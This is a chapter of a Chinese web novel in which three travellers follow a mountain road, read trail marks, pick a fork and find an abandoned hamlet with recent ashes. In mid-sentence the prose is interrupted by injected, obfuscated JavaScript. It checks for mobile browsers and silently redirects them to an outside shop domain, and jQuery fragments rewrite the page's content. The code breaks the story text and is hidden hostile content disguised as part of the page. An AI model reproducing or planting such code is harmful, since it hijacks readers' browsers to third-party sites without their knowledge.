过桥之后路两侧的植被变了。河岸这一侧的树比对面矮一些，枝干伸展得更开，树冠之间的空隙更大，像是常年被风吹着往同一个方向偏斜。路面比之前宽了不少，能容两辆车并行通过，但路面上没有新的车辙印，只有几道旧痕，边缘已经被草覆盖了大半，像是很久没有重车经过。脚掌落在路面上之后，能感觉到土层的硬度比之前均匀了不少，泥和沙的比例合适，不容易打滑。
耳灰走在前面，他的步伐节奏没有因为路面的变化而放慢或加快，保持着一直以来的匀速度。林晓跟在他后面不远处，目光偶尔会从他的肩头往前方延伸出去——远处的地平线正在变得清晰，山脊线从灰蓝色轮廓变成更实的浅褐色，像一道被重新描过的旧线。耳青走在她旁边，步伐比上午更稳了一些，呼吸也匀了，像是身体在持续行走中找到了一个更适合自己的节奏。
走了一段路之后路边出现了一棵被雷劈过的老树。树干从中段裂开，上半截倒向路边，断口处的木质纤维呈浅灰色，已经被风雨磨得光滑。耳青经过那棵老树的时候放慢了脚步，目光在那道裂口上停了一下才收回来。她没有说话，但她把那道裂缝的样子记住了。
路面在穿过一片矮树林之后收窄了，两侧的草从路肩往路面上蔓延，草茎交错。林晓蹲下来用爪尖碰了一下其中一处被踩过的草茎——断口是浅白色的，还没有完全干透，大约是一两天前留下的，草茎断裂的方向与她前进的方向一致，像是有人沿着同一条路走过，在不远处拐了个弯，离开了主路方向。她把爪收回来，抬头看了一眼前方的地形——从这里到山脚之间是一片开阔的缓坡地，视线几乎没有遮挡。如果有人在前面走过，站在高处看过来就能看见他们三个人在坡面上移动。她没说话，她的耳朵朝两侧转了一下，确认周围的动静只有风声和远处灌木丛里偶尔传来的几声鸟鸣。
耳灰也注意到了那片开阔地。他在矮树林的边缘停下来，蹲在最后一棵树的树荫里，往那片缓坡看了一会儿：“穿过这片坡地要大约一炷香的时间。坡面上没有遮挡，如果有人从山脚方向看过来，我们能看见他们，他们也能看见我们。”他侧过头看了她一眼，“要等天黑再过去，还是白天走？”林晓蹲在他旁边，顺着他的视线往那片缓坡看了一会儿，过了一片开阔地之后路重新收窄，两侧的植被会再次密集起来。她没有犹豫太久：“白天走。白天走不会显得奇怪。天一黑三个人在坡面上移动反而显眼。”她站起来把披风裹紧了一些，把斗笠往下压了一格，然后迈步走出树荫。
坡面上的草比路边高一些，风从山脚方向吹过来，把草叶压向同一侧，她走在坡面上的时候脚下的草叶被踩平之后又弹回来。她在坡面上走了大约三分之二的时候放慢了脚步。前方坡面与平地的交界处，路面有一个轻微的转弯，转弯处有一片被踩过的痕迹，草茎的方向歪向路边，像是有人在这里停过片刻，然后转身朝另一个方向离开了主路，那个方向偏离了山脚，朝一片更密的灌木丛延伸过去。她没有转弯，沿着主路继续走。
坡底的路面在穿过一片矮灌木丛之后重新收窄了。两侧的植被变得更密，枝叶交叠着垂向路面，在头顶形成一道间断的绿色顶棚，风被挡住了大半，空气比坡面上更安静。林晓走了一段路之后在路边停下来喝水。她喝了两口把水囊盖好挂回肩上，低头看了一眼自己前爪上的土——已经被露水和泥浆反复浸染过，在肉垫的纹路里结成了一层薄薄的褐色壳，像一张从整块泥土上揭下来的旧皮。她用爪尖扣了扣土壳边缘，碎片像干树皮一样一片片脱落，落在路面上发出轻细的声响。
她站起来沿着路面继续走。天色正在从午后的亮白转向午后的偏西方向，光线开始变得柔和，树影从脚边伸到路的另一侧，拉得更长了。耳灰走在前面的身影在那些树影里时而清晰时而模糊，像一个在明暗之间不断切换的标记。他在前方的岔路口停下来了。路面上出现了三条分叉。一条继续向前延伸，通向更密的山林；一条向右偏转，沿着山脚的低洼地带蜿蜒；还有一条向左上方斜切，像是在往更高的坡面方向走。
耳灰蹲在岔路口低头看了看地面的痕迹。三条路口都有脚印。往前延伸的那条路脚印最多，新旧混杂；向右的那条路脚印少一些，但边缘整齐；向左上方斜切的那条路脚印最浅。他沿着中间那条向前延伸的路线看了一会儿，然后转向旁边的一条岔路看了看，最后蹲回岔路口：“中间这条走得最多。向右的走的人少。左上的基本上没人走。”她蹲下来，把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932400|213644||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
布包放在脚边，从里面翻出图册，翻到标注灵山方向的那几页。她在纸面上找到了这一片区域的轮廓，三条路在纸面上被画成了三条细线，但图册上没有标注这三条路分别通向哪里，只在线条末端画了一个小圆点，像是一个地名，但字迹被页缘裁掉了，只留下半个偏旁。
她合上图册：“先沿着中间的路走。走一阵如果发现不对再折回来。”她站起来，把布包重新挂好，沿着中间那条路向前走去。路面在这段路上比之前更平整，像是最近被整修过——路面上没有长草，两侧的土坡边缘整齐，像是被铲子削过的。路面宽约两步，往前延伸的方向一直通向山脚下一片密集的树线。她走在路面上，脚步落在了那些新旧交叠的痕迹上。最上面那层印记比下面的浅一些，像是一两天之内踩上去的。她沿着路面的中心线走着，两侧的树丛越来越密，空气里的湿气也越来越重了。她走了大约一炷香的时间之后，前方的树线之间出现了一道空隙——像是一道门，路面正从这道空隙里穿过去，山脚就在这道空隙的另一侧。
耳灰在那道空隙前面停下来了。她走到他旁边蹲下，透过那道空隙往外看。山的轮廓正在从后面显露出来，山脚处的地面比这边的路面低了一截，像是一片被自然地形围起来的洼地，洼地中间有几间低矮的屋顶。屋顶的瓦片已经褪成了暗灰色，边缘长着一层深色的青苔，墙壁有被水浸过的痕迹，从墙脚蔓延到墙面约一半的高度。有些墙面上残留着旧日的印记，像是曾被反复冲刷过，又像是被刻意覆盖过。好几扇窗的窗框已经不在了，只留下一个个空洞的方口。其中一间的门半开着，门板向内侧倾斜，像被推开之后没有完全弹回原位。但她看见在屋前不远的平地上，有一道新的痕迹——一小堆灰烬的边缘还残留着几根细小的炭黑色残梗，在傍晚的光线下形成一小片不规则的深色区域，像是最近几天内有人在那里生过火。
耳青在她旁边蹲下来：“……有人住？”林晓看了那道灰烬的方向几息，把手收回来搭在膝盖上。天还没有完全黑，但她已经知道今晚要在这片洼地附近过夜了。她还不能确定灰烬的主人是谁，但她需要确认自己在走近之前是否已经掌握了足够的信息来应对可能出现在那片被树线半掩的洼地里的其他人。